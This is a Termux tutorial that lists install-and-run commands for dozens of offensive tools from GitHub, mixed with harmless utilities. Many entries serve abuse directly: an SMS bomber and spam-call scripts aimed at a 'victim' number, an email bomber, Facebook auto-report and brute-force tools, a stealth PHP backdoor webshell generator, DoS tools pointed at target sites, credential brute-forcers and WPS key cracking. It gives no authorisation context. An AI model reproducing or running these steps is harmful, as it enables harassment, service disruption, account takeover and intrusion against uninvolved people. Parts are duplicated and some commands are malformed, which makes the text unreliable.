$ apt update && apt upgrade
```

```
$ apt install git
```

```
$ apt install python2
```

```
$ apt install python
```

```
$ apt install nmap
```

```
$ apt install tsu
```

```
$ git clone https://github.com/StreetSec/Gloom-Framework.git
```

```
$ cd Gloom-Framework
```

```
$ chmod +x *
```

```
$ sudo python2 install.py
```

```
$ sudo python2 gloom.py
```

```
$ pip2 install requests
```

if you get error for bs4 & beautifulsoup
then simply type

```
$ sudo pip2 install bs4
```

```
$ sudo pip2 install beautifulsoup
```

Run :

```
$ sudo python2 gloom.py
```

```
[gloom] help
```

it shows all modules to use any module
simply copy and paste that module name

Brutespray

BruteSpray takes nmap GNMAP/XML output and automatically brute-forces services with default credentials using Medusa.

BruteSpray can even find non-standard ports by using the -sV inside Nmap.

Installation :

```
$ apt update  
$ apt upgrade  
$ apt install git  
$ apt install python2  
$ git clone https://github.com/x90skysn3k/brutespray  
$ cd brutespray  
$ pip2 install -r requirements.txt
```

usage :

```
$ python2 brutespray.py
```

First do an nmap scan with -oG nmap.gnmap or -oX nmap.xml.

```
$ python2 brutespray.py -h  
$ python brutespray.py --file nmap.gnmap  
$ python brutespray.py --file nmap.xml  
$ python brutespray.py --file nmap.xml -i
```

Sublister (superdomain)

Sublist3r = Fast subdomains enumeration tool for penetration testers. It helps penetration testers and bug hunters collect and gather subdomains for the domain they are targeting.

Installation :

```
$ apt update  
$ apt upgrade  
$ apt install git  
$ apt install python2  
$ git clone https://github.com/aboul3la/  
Sublist3r  
$ cd Sublist3r  
$ pip2 install requirements.txt  
$ pip2 install requests
```

Run :

```
$ python2 sublist3r.py  
$ python2 sublist3r.py -h  
it shows all options how you can use this  
tool  
$ python2 sublist3r.py -d site.com  
-d = domain name
```

Download any Types Of Files

with the help of termux app we can download any type of files such as..

apk, .jpg, .png, .txt, .mp3, .mp4, .md, .zip, .rar, .doc, .psd, .cdr, .eps, .anything...etc.... first you need to install these apps from playstore

1] Termux App

2] Termux API App

Now open Termux and follow these steps installation :

\$ apt update

\$ apt upgrade

\$ apt install termux-api

[Downloading process:]

\$ termux-download -d -t http://downlodingurl.com/file.apk

after -t you need to give downloading url to download any type of file after downloading goto your download folder

Termux send sms

send sms using termux app first you need to install these apps from playstore

1] Termux App

2] Termux API App

Now open Termux and follow these steps installation :

\$ apt update

\$ apt upgrade

\$ apt install termux-api

message sending process :

\$ termux-sms-send -n 9999999999 text

9999999999 = Receiver number

text = your message here

Termux Make Call

first you need to install these apps from playstore

1] Termux App

2] Termux API App

Now open Termux and follow these steps installation :

\$ apt update

\$ apt upgrade

\$ apt install termux-api

call process :

\$ termux-telephony-call 9999999999

9999999999 = number of victim

Termux Kali Nethunter

Termux Nethunter for Termux users we can run some linux root tools with this nethunter in Termux.

Installation :

```
$ apt update  
$ apt upgrade  
$ apt install git  
$ git clone https://github.com/Hax4us/  
Nethunter-In-Termux  
$ cd Nethunter-In-Termux  
$ chmod +x *  
. /kalinethunter
```

Now select your architecture

Now type this command to start

```
$ startkali
```

Compulsory Steps For First Time Use

So after startkali execute this command

```
$ apt-key adv --keyserver hkp://  
keys.gnupg.net --recv-keys 7D8D0BF6
```

Now its time to update

```
$ apt-get update
```

Download Fb Videos

Facebook Video Downloader (CLI) For Linux Systems Coded in PHP with the help of this script you guys can download facebook videos by pasteing video url in termux.

Installation :

```
$ apt update && apt upgrade  
$ apt install git  
$ apt install php  
$ git clone https://github.com/  
Tuhinshubhra/fbvid  
$ cd fbvid
```

Run :

```
$ php fb.php  
first here paste fb video url
```

Now here give a name to your video, it will start downloading your video and saved in current directory.

If you want to watch your downloaded video then move this video to sdacrd using mv command

```
$ mv video.mp4 /sdcard/  
Now your video has moved to sdcrad, go to your sdcard and watch it ....
```

Matrix Effect

make matrix effect in termux ..hacker
look in termux

Installation :

```
$ apt update && apt upgrade  
$ apt install cmatrix
```

usage :

```
Type cmatrix to start matrix effect  
$ cmatrix
```

Spammer Grab(sms Bomb)

Spams GAC (Grab Activation Code) SMS to a phone number repeatedly per 60 second.

"Spammer" uses Grab passenger API to make the GAC sms sent.

Installation :

```
$ apt update && apt upgrade  
$ apt install git  
$ apt install python2  
$ apt install python  
$ git clone https://github.com/Noxturnix/  
Spammer-Grab  
$ cd Spammer-Grab  
$ chmod +x *  
$ ./auto-install.sh
```

Run :

```
python2 spammer.py -h
```

It shows all the options of this tool for use..

use :

```
$ python2 spammer.py –delay 10 [Your  
number here]
```

Now it will start bombing on your given number.

Choicebot (instagram bot)

Choicebot is a bot written in Shell Script (the first one) to perform 'likes', 'comments' and 'follows' based on hastags.

Installation :

```
$ apt update && apt upgrade  
$ apt install git  
$ apt install curl  
$ apt install nano  
$ git clone https://github.com/  
thelinuxchoice/choicebot
```

```
$ cd choicebot  
$ chmod +x *
```

usage :

```
$ nano hashtags.txt (put your hashtags  
here)  
$ ./choicebot.sh
```

Create Zip Files

Fisrt update and install requirments ..

\$ apt update

\$ apt upgrade

\$ apt install zip

\$ apt install unzip

Creating Zip file :

\$ zip name.zip [your files]

Here name.zip is the name for that zip file

your files means = your files to make zip such as .txt .md folder .png .jpg etc..,

Unzip process :

\$ unzip name.zip

that's it it will unzip your zip file..

Create Zip Files

Fisrt update and install requirments ..

\$ apt update

\$ apt upgrade

\$ apt install zip

\$ apt install unzip

Creating Zip file :

\$ zip name.zip [your files]

Here name.zip is the name for that zip file

your files means = your files to make zip such as .txt .md folder .png .jpg etc..,

Unzip process :

\$ unzip name.zip

that's it it will unzip your zip file..

Goblin word Generator

Goblin word Generator tool is used to generate password list easily..

Installtion :

```
$ apt update  
$ apt upgrade  
$ apt install git  
$ apt install python  
$ apt install python2  
$ git clone https://github.com/  
UndeadSec/GoblinWordGenerator  
cd GoblinWordGenerator  
$ chmod +x *
```

usage :

```
$ python3 goblin.py
```

i want to generate list that length 4 to 6
then type here : 4:6 {hit enter}

Give name to your wordlist like, : pass.txt
{hit enter}

and select option which you want and {hit
enter}

it will generate a pass.txt

to open this file type this command :

```
$ cat pass.txt
```

Darksplloit

Execute these commands one by one to install DarlSploit.

```
$ apt update  
$ apt upgrade  
$ apt install git  
$ apt install python  
$ apt install python2  
$ git clone https://github.com/L0oLzeC/  
DarkSploit  
$ cd DarkSploit  
$ cd install  
$ sh installtermux.sh  
$ pip2 install -r requirements.txt  
$ cd ..
```

Now Run DarkSploit :

python2 DrXp.py

DarkSploit commands :

```
$ show options  
$ show exploits  
$ use exploits
```

Here you get all options to use this tool.

Xerxes (Dos Tool)

XERXES the most powerful DoS tool

Installation:

```
$ apt update && apt upgrade
```

```
$ apt install git
```

```
$ apt install clang
```

```
$ git clone https://github.com/  
zanyarjamal/xerxes
```

```
$ cd xerxes
```

```
$ chmod +x *
```

usage :

```
$ clang xerxes.c -o xerxes
```

```
$ ./xerxes www.fakesite.com 80
```

Hunner Framework

Hunner Hacking framework = This framework is designed to perform penetration testing.

Its functions:

1.Scan sql vulnerability

2.Scan xxs vulnerability

3.Dos sites

4.Brutforce Ftp

5.Brutforce SSh

6.Brutforce mail Accounts

Installaion :

```
$ apt update && apt upgrade
```

```
$ apt install git
```

```
$ apt install python
```

```
$ git clone https://github.com/b3-v3r/
```

Hunner

```
$ cd Hunner
```

```
$ chmod 777 hunner.py
```

usage :

```
$ python hunner.py
```

Now select your options to use..

Weevely Backdoor Webshell

Weevely is a stealth PHP web shell. it simulate telnet like connections, it is an essential Tool for Web Applications post exploitation. it can be used as stealth backdoor OR as a web shell

Installation

```
$ apt update && apt upgrade  
$ apt install git  
$ apt install python2  
$ git clone https://github.com/glides/  
Weevely
```

```
$ cd Weevely  
$ chmod +x *
```

usage :

```
$ python2 weevely.py
```

It shows all options how you can use this.

shell generateing process:

```
$ python2 weevely.py generate 123456 /  
$HOME/shell.php
```

123456 = is the password for shell

shell.php = name for the shell

it generate a shell in termux home directory

Wps scan WordPress scan

wpscan is a WordPress vulnerability scanner tool for legal Or security purpose to find the vulnerabilities and fix it.

Remember wpscan tool is only works in arm/arm64 device If you want to check your phone architecture

Type this command :-

\$ dpkg-print-architecture

Or

\$ uname -m

Installation of wpsacn :

\$ apt install git

\$ apt install ruby

\$ git clone https://github.com/wpscanteam/wpscan

\$ cd wpscan

\$ chmod 777 wpscan.rb

install some gems one by one

\$ gem install bundle

\$ bundle install -j5

Run :

\$ ruby wpscan.rb

\$ ruby wpscan.rb < –url [wordpress url]

Hashcode-Encode and Decode Text

Hashcode = Its purpose is to encode your desired hash text.

Encode & Decode as follows:

1. md5 [encode]
2. sha1 [encode]
3. sha224 [encode]
4. sha256 [encode]
5. sha384 [encode]
6. sha512 [encode]
7. base64 [encode/decode]
8. binary [encode/decode]
9. hexa decimal [encode/decode]
10. cipher of cesar [encode/decode]
11. reverse text
12. reverse words

Installation :

```
$ apt install git  
$ apt install python  
$ apt install python2  
$ git clone https://github.com/Sup3r-  
Us3r/HashCode  
$ cd HashCode  
$ chmod +x *
```

Run :

\$ python3 hashcode-en.py

Now select your option and enter your data it will encode/decode your data

Cyberscan

CyberScan is an open source penetration testing tool that can analyse packets , decoding , scanning ports, pinging and geolocation of an IP including (latitude, longitude , region , country ...)

Installation :

```
$ apt update && apt upgrade
```

```
$ apt install git
```

```
$ apt install python2
```

```
$ apt install python
```

```
$ git clone https://github.com/  
medbenali/CyberScan.git
```

```
$ cd CyberScan
```

usage :

```
$ python2 CyberScan.py -v
```

```
$ CyberScan -h
```

We can perform ping operations with several protocols using CyberScan

The fastest way to discover hosts on a local Ethernet network

is to use ARP:

```
$ python2 CyberScan -s 192.168.1.0/24 -  
p arp
```

In case when ICMP echo requests are blocked, we can still use TCP:

```
$ CyberScan -s 192.168.1.105 -p tcp -d 80  
192.168.1.105 = target IP.
```

Knockpy (Subdomain)

Knockpy is a python tool designed to enumerate subdomains on a target domain through a wordlist. It is designed to scan for DNS zone transfer and to try to bypass the wildcard DNS record automatically if it is enabled. Now knockpy supports queries to VirusTotal subdomains,

Installation :

```
$ apt update && apt upgrade  
$ apt install git  
$ apt install python2  
$ apt install python  
$ pip2 install dnspython  
$ git clone https://github.com/  
guelfoweb/knock.git  
$ cd knock $ python2 setup.py install
```

usage :

```
$ knockpy -h
```

it shows how you can use this tool

```
$ knockpy domain.com
```

A2SV- SSL VUL-Scan

A2SV = Auto Scanning to SSL
Vulnerability

HeartBleed, CCS Injection, SSLv3
POODLE, FREAK... etc

Support Vulnerability

[CVE-2007-1858] Anonymous Cipher

[CVE-2012-4929] CRIME(SPDY)

[CVE-2014-0160] CCS Injection

[CVE-2014-0224] HeartBleed

[CVE-2014-3566] SSLv3 POODLE

[CVE-2015-0204] FREAK Attack

[CVE-2015-4000] LOGJAM Attack

[CVE-2016-0800] SSLv2 DROWN

Installation :

```
$ apt update && apt upgrade
```

```
$ apt install git
```

```
$ apt install python2
```

```
$ apt install python
```

```
$ git clone https://github.com/hahwul/  
a2sv
```

```
$ cd a2sv
```

```
$ chmod +x *
```

```
$ pip2 install -r requirements.txt
```

usage :

\$ python2 a2sv.py -h

It shows all commands how we can use
this tool

\$ python a2sv.py -t 127.0.0.1

127.0.0.1 = target means here own device

Mapscii

\$ apt update && apt upgrade

To display world map in termux terminal

Type this command :

\$ telnet mapscii.me

press a = zoomin

press z = zoom out

press c = to quite

use arrow keys to goto left right up down

Optiva Framework

Optiva-Framework = Web Application Scanner

Features :

1. Information Modules
2. Hash Modules
3. Scanner Modules

Installation :

```
$ apt update && apt upgrade  
$ apt install git  
$ apt install python2  
$ apt install python  
$ git clone https://github.com/  
joker2500/Optiva-Framework  
$ cd Optiva-Framework  
$ chmod +X *  
$ bash installer.sh  
select option 3 termux and press enter  
usage :  
$ python2 optiva.py  
[optiva]$> help  
to show all options of this tool  
[optiva]$> info
```

to get some basic information

[optiva]\$> show modules

it shows all modules of optiva framework

To use any module simply type module name, it will guide you how you can use this tool.

Breacher

An advanced multithreaded admin panel finder written in pythonA script to find admin login pages and EAR vulnerabilites.

Features

1. Multi-threading on demand
2. Big path list (482 paths)
3. Supports php, asp and html extensions
4. Checks for potential EAR vulnerabilites
5. Checks for robots.txt
6. Support for custom patns

Installation :

```
$ apt update && apt upgrade  
$ apt install git  
$ apt install python2  
$ apt install python  
$ git clone https://github.com/s0md3v/  
Breacher  
$ cd Breacher
```

Run :

```
$ python2 breacher.py  
Check all paths without threads  
$ python2 breacher -u example.com
```

Dost-Webserver-Tool

Dost = WebServer Attacking Tools

Installation :

```
$ apt update && apt upgrade  
$ apt install git  
$ apt install python2  
$ apt install python  
$ git clone https://github.com/verluchie/  
dost-attack  
$ cd dost-attack  
$ chmod 777 install.sh  
$ ./install.sh
```

Run :

```
$ ./dost
```

It shows how you can use this tool

Striker

striker = Striker is an offensive information and vulnerability scanner

Features :

- 1.Check and Bypass Cloudflare
- 2.Retrieve Server and Powered by Headers
- 3.Fingerprint the operating system of Web Server
- 4.Detect CMS (197+ CMSs are supported)
- 5.Launch WPScan if target is using Wordpress
- 6.Retrieve robots.txt
- 7.Whois lookup
- 8.Check if the target is a honeypot
- 9.Port Scan with banner grabbing
- 10.Dumps all kind of DNS records
- 11.Generate a map for visualizing the attack surface
- 12.Gather Emails related to the target
- 13.Find websites hosted on the same web server
- 14.Find hosts using google

15.Crawl the website for URLs having parameters

16.SQLi scan using online implementation of SQLMap (takes < 3 min.)

17.Basic XSS scanning

Installation :

```
$ apt update && apt upgrade
```

```
$ apt install git
```

```
$ apt install python2
```

```
$ apt install python
```

```
$ git clone https://github.com/s0md3v/  
Striker
```

```
$ cd Striker
```

```
$ pip2 install -r requirements.txt
```

Run :

```
$ python2 striker.py
```

it shows how you can use this tool

Harvester-email-info

E-mails, subdomains and names

Harvester

theHarvester is a tool for gathering subdomain names, e-mail addresses, virtual hosts, open ports/ banners, and employee names from different public sources (search engines, pgp key servers).

Installation :

```
$ apt update && apt upgrade
```

```
$ apt install git
```

```
$ apt install python2
```

```
$ apt install python
```

```
$ git clone https://github.com/laramies/  
theHarvester
```

```
$ cd theHarvester
```

```
$ chmod +x *
```

usage :

```
$ python2 theHarvester.py
```

```
$ python2 theHarvester.py -d site.com -b  
google
```

Termux Wafwoof

WAFW00f is the inbuilt tool in Kali distribution or else you can install it manually.we can install this tool in termux also

It can detect around Top 22 web application firewall, so wafw00f is a phase of information gathering initially. follow these steps :

Installation :

```
$ apt update && apt upgrade  
$ apt install python2  
$ apt install python  
$ pip install wafw00f
```

usage :

```
$ wafw00f -h
```

It shows all options of wafw00f tool how you can use this tool

```
$ wafw00f [url]
```

Termux speedtest cli

sppedtest-cli this is used to find your download and upload speed of your internet connection.

Installation :

```
$ apt update && apt upgrade  
$ apt install python2  
$ apt install python  
$ pip install requests  
$ pip install speedtest-cli
```

usage :

```
$ speedtest -h
```

it shows all options

```
$ speedtest
```

Now it shows your internet's Download & upload speed.

Heartbleed Scanner

The heart bleed bug is a serious vulnerability in the popular Openssl port number 443. this weakness allows stealing the information protected,under normal conditiond by the SSL/Tls encryption used to secure the internet.

Installation :

```
$ apt update && apt upgrade
```

```
$ apt install git
```

```
$ git clone https://github.com/  
TechnicalMujeeb/HeartBleed.git
```

```
$ cd HeartBleed
```

```
$ chmod +x *
```

```
$ ./install.sh
```

=> usage

run another script

```
$ ./hbleed
```

here enter you site to check bug is

present or not if present

then you can update your services and
stay secure.

Smb Scanner

(SMB) server message Block is transport protocol and it is widely used for variety purpose such as file sharing ,printer sharing ,and access to remote Windows services.

SMB operates over TCP ports 139 and 445.in April 2017

shadow brokers hackers released an SMB vulnerability nameed "EternalBlue";

Installation :

```
$ apt update && apt upgrade
```

```
$ apt install git
```

```
$ apt install python2
```

```
$ apt install python
```

```
$ git clone https://github.com/  
TechnicalMujeeb/smb-scanner
```

```
$ cd smb-scanner
```

```
cd modules
```

```
$ chmod +x *
```

```
$ cd ..
```

```
$ chmod +x *
```

```
$ ./install.sh
```

usage :

```
$ ./smbscan
```

Lazyfiglet

LazyFiglet is a bash script created By Technical Mujeeb. with the help of this tool we can display all fonts of figlet in one click. one click means it ask your name when you enter your name then this script starts Generating figlet fonts one by one

.In this script total 181+ figlet fonts are present and this is very easy to use.

[+] Requirments : here another file install.sh is also available. so you can simply run this install.sh to install all requirments packages which helps you to display figlet fonts.

Installation :

```
$ apt update && apt upgrade
```

```
$ apt install git
```

```
$ git clone https://github.com/  
TechnicalMujeeb/LazyFiglet
```

```
$ cd LazyFiglet
```

```
$ chmod +x *
```

```
$ sh install.sh
```

(This command install all requirements packages.)

usage :

\$ sh lfiglet

[+] Enter you name : you text here

(Then this script starts generating 181+ figlet fonts on you terminal)

DOne !

Password Generator

PassGen = is a tool which generates a custom passwords with 20+ char ,easy to remember and cannot be bruteforced [passwords generated by PassGen have following features].password cannot be brute forced

..it generates strong passwords

...easy to remember

....high entropy

.....padding between the words

.....custome names

.....20+ chracters

Installation :

```
$ apt update && apt upgrade
```

```
$ apt install git
```

```
$ apt install python
```

```
$ git clone https://github.com/  
TechnicalMujeeb/PassGen
```

```
$ PassGen
```

```
$ chmod +x *
```

usage :

\$ python passgen.py

Now enter name : text

Now its generates passwords. you guys
can use these passwords in your
accounts also.

Sqlmap

sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.

Installation :

```
$ apt update && apt upgrade  
$ apt install git  
$ apt install python2  
$ apt install python  
$ git clone https://github.com/  
sqlmapproject/sqlmap  
$ cd sqlmap  
$ chmod +x *
```

Run :

\$ python2 sqlmap.py -h

It shows all options to use this tool

sqlmap

\$ python2 sqlmap.py

Santet online

santet-online

Features :

- 1.netcat payload
- 2.fb group hijacking
- 3.sms-bomber
- 4.sms-spoof
- 5.dos attack

Installation :

```
$ apt update && apt upgrade  
$ apt install git  
$ apt install python2  
$ apt install python  
$ pip2 install requests  
$ git clone https://github.com/  
Gameye98/santet-online
```

```
$ santet-online  
$ chmod +x *
```

usage :

```
$ python2 santet.py
```

Now it shows all tool simply type number
to use that tool

Autopixie wps

Autopixie-WPS = this script is meant for people who wants to check if someone can gain the wpa key, and or if you are protected from this attack Any illegal use of this program is strictly forbidden!.

FEATURES

Kill reaver as soon as e-hash2 is gained.
Manual input target router without scan
Wash scan > target router from scan list
Save results to logfile
option to ignore router from wash scan if it has been cracked,
or if PixieWps failed to crack the hash
remember you must have an external wifi adapter

Installation :

```
$ apt update && apt upgrade  
$ apt install git  
$ apt install python2  
$ apt install python
```

```
$ pip2 install requests  
$ git clone https://github.com/nxxxu/  
AutoPixieWps
```

```
$ cd AutoPixieWps
```

```
$ chmod +x *
```

Run :

```
$ python2 autopixie.py
```

Now select any option it will guide you..

Visql (Sql-vuln-scanner)

viSQL = Scan SQL vulnerability on target site and sites of on server.

Installation :

```
$ apt update && apt upgrade  
$ apt install git  
$ apt install python2  
$ apt install python  
$ pip2 install requests  
$ git clone https://github.com/blackvkng/  
viSQL.git  
$ cd viSQL  
$ pip2 install -r requirements.txt
```

Run :

```
$ python2 viSQL.py --help  
it shows options to use. very easy to use..
```

Visql (Sql-vuln-scanner)

viSQL = Scan SQL vulnerability on target site and sites of on server.

Installation :

```
$ apt update && apt upgrade  
$ apt install git  
$ apt install python2  
$ apt install python  
$ pip2 install requests  
$ git clone https://github.com/blackvkng/  
viSQL.git  
$ cd viSQL  
$ pip2 install -r requirements.txt
```

Run :

```
$ python2 viSQL.py --help  
it shows options to use. very easy to use..
```

Termux Ubuntu

termux-ubuntu = A script to install
Ubuntu chroot in Termux

Installation :

```
$ apt update && apt upgrade  
$ apt install git  
$ apt install proot  
$ apt install wget  
$ git clone https://github.com/Neo-Oli/  
termux-ubuntu  
$ cd termux-ubuntu  
$ ls  
$ chmod +x *  
$ sh ubuntu.sh
```

Run :

After running it you can run "start-ubuntu.sh" to switch into your ubuntu
\$./start.sh

Now you are in Ubuntu terminal..

Knockmail

Knock mail = Verify if email exists or find valid E-mail Installation :

```
$ apt update && apt upgrade  
$ apt install python2  
$ apt install python  
$ pip2 install requests  
$ git clone https://github.com/4w4k3/  
KnockMail  
$ cd KnockMail  
$ chmod +x *  
$ pip2 install -r requirements.txt
```

Run :

```
$ python2 knock.py  
select Your options and give email to  
check ,
```

Your e-mail is valid or Invalid..

Knockmail

Knock mail = Verify if email exists or find valid E-mail Installation :

```
$ apt update && apt upgrade  
$ apt install python2  
$ apt install python  
$ pip2 install requests  
$ git clone https://github.com/4w4k3/  
KnockMail  
$ cd KnockMail  
$ chmod +x *  
$ pip2 install -r requirements.txt
```

Run :

```
$ python2 knock.py  
select Your options and give email to  
check ,  
Your e-mail is valid or Invalid..
```

Hakku Framework

Hakku framework offers simple structure, basic CLI, and useful features for penetration testing tools developing

Modules

apache_users

arp_dos

arp_monitor

arp_spoof

bluetooth_pod

cloudflare_resolver

dhcp_dos

dir_scanner

dns_spoof

email_bomber

hostname_resolver

mac_spoof

mitm

network_kill

pma_scanner

port_scanner

proxy_scout

whois

web_killer

web_scout

wifi_jammer
zip_cracker
rar_cracker
wordlist_gen

Installation :

```
$ apt update && apt upgrade  
$ apt install python  
$ git clone https://github.com/  
4shadoww/hakkuframework  
$ cd hakkuframework  
$ chmod +x *
```

Usage :

```
$ python hakku
```

```
$ show modules
```

to show all modules of hakku framework

to use any module simply type

```
$ use module name
```

```
$ show options
```

to show all options of that particular
modules..

Termux Vibrate Mobile

first you need to install these apps from playstore

1] Termux App

2] Termux API App

Now open Termux and follow these steps

Installation :

```
$ apt update && apt upgrade
```

```
$ apt install termux-api
```

usage :

Type this command to vibrate your device

```
$ termux-vibrate -d 1500 -f
```

-d = duration

1500 = you can give any value to vibrate

like 4090,etc...,

Install Jarvis Tool

```
$ apt update && apt upgrade  
$ apt install git -y  
$ pkg install mpv -y  
$ git clone https://github.com/  
AmshenShanu07/jarvis-welcome.git  
$ cd jarvis-welcome chmod +x *  
$ sh install.sh
```

Email Bombing

```
$ apt install python2
$ ls
$ git clone https://github.com/
zanyarjamal/Email-bomber.git
$ cd Email-bomber
$ ls
$ chmod +x * E-bomber.py
$ python2 E-bomber.py
```

Facebook ID Auto Report

```
$ apt update && apt upgrade  
$ pkg install python2  
$ pkg install git  
$ pkg install unzip  
$ pkg install tor  
$ pkg install mechanize  
$ git clone https://github.com/  
IlayTamvan/Report.git  
$ cd Report  
$ unzip Report.zip  
$ python2 Report.py  
If this is now working then try this  
open new session  
$ git clone https://github.com/  
uhusmanhaider/facebook-report  
$ cd facebook-report  
$ ls  
$ unzip Report.zip  
$ python2 Report.py  
Enter binary code of Facebook  
account.....
```

H4CK-FB-NEWS

FEATURES:

Facebook friend info fetcher

Get ID from friend

Get ID friend from friend

Get group member ID

Get email friend

Get email friend from friend

Get a friend's phone number

Get a friend's phone number from friend

Mini Hack Facebook(Target)

Multi Bruteforce Facebook

Super Multi Bruteforce Facebook

BruteForce(Target)

Yahoo Checker

Bot Reactions Target Post

Bot Reactions group Post

BOT COMMENT Target Post

BOT COMMENT group Post

Mass delete Post

Mass accept friends

Mass delete friend

ACreate Post

Create Wordlist

Account Checker

See my group list

Profile Guard

INSTALLATION

```
$ apt update && apt upgrade
```

```
$ pkg install python2
```

```
$ git clone https://github.com/
```

```
ProjectorBUG/H4CK-FB-NEWS.git
```

```
$ cd H4CK-FB-NEWS
```

USAGE

```
$ sudo python2 tebas.py
```

or

```
$ python2 tebas.py
```

DDos

```
$ apt update && apt upgrade
$ pkg install python2
$ pkg install git
$ pkg install unzip
$ pkg install tor
$ pkg install mechanize
$ git clone https://github.com/Ha3MrX/
DDos-Attack
$ ls
$ cd DDos-Attack
$ ls
$ chmod +x *
$ python2 ddos-attack.py
Now type target website ip address.
To find target website ip address open
new session and type.....
ping www.yoursite.com
Then copy website ip and reopen old
session and paste ip address of website.
and then
Lport- 4444
attack satrted.....
```

Theme & Colour

```
$ apt update && apt upgrade  
$ pkg install python2  
$ pkg install git  
$ pkg install unzip  
$ pkg install tor  
$ pkg install mechanize  
$ git clone https://github.com/saydog/  
termux-theme  
$ cd termux-theme  
$ chmod +x install.sh  
$./install.sh  
Run:-  
$ python theme.py
```

Instagram Info Tool

```
$ apt update && apt upgrade  
$ pkg install python2  
$ pkg install git  
$ pkg install unzip  
$ pkg install tor  
$ pkg install mechanize  
$ git clone https://github.com/  
thelinuxchoice/instashell  
$ cd instashell  
$ ./instashell.sh
```

Spam Call

```
$ apt update && apt upgrade  
$ pkg install python2  
$ pkg install git  
$ pkg install unzip  
$ pkg install tor  
$ pkg install mechanize  
$ git clone https://github.com/Aditya021/  
spamCall  
$ cd SpamCall  
$ ls  
$ php SpamCall.php
```

OSI.ig

```
$ pkg install -y git
```

```
$ git clone https://github.com/  
th3unkn0n/osi.ig.git && cd osi.ig
```

```
$ chmod +x install.sh && ./install.sh
```

- Usage

```
$ python3 main.py -u username
```

```
$ python3 main.py -h
```

```
usage: main.py [-h] -u USERNAME [-p] [-s]  
[-t]
```

optional arguments:

-h, --help show this help message and exit

-u USERNAME, --username USERNAME

username of account to scan

-p, --post get all uploaded images info

-s, --savedata save data to file (save
profile pic, info , post info)

-t, --tags list

Tstyle

```
$ apt update  
$ apt install git -y  
$ git clone https://github.com/htr-tech/  
tstyle  
$ cd tstyle  
$ bash setup.sh
```

Termux-shell

```
$ apt update  
$ apt install git -y  
$ git clone https://github.com/htr-tech/  
termux-shell.git  
$ cd termux-shell  
$ chmod +x *  
$ sh install.sh
```

Termux-Login

```
$ apt update  
$ apt install git -y  
$ git clone https://github.com/htr-tech/  
termux-login.git  
$ cd termux-login  
$ chmod +x *  
$ sh install.sh
```

Jarvis-Welcome

```
$ apt update
$ apt install git -y
$ pkg install mpv -y
$ git clone https://github.com/
AmshenShanu07/jarvis-welcome.git
$ cd jarvis-welcome
$ chmod +x *
$ sh install.sh
```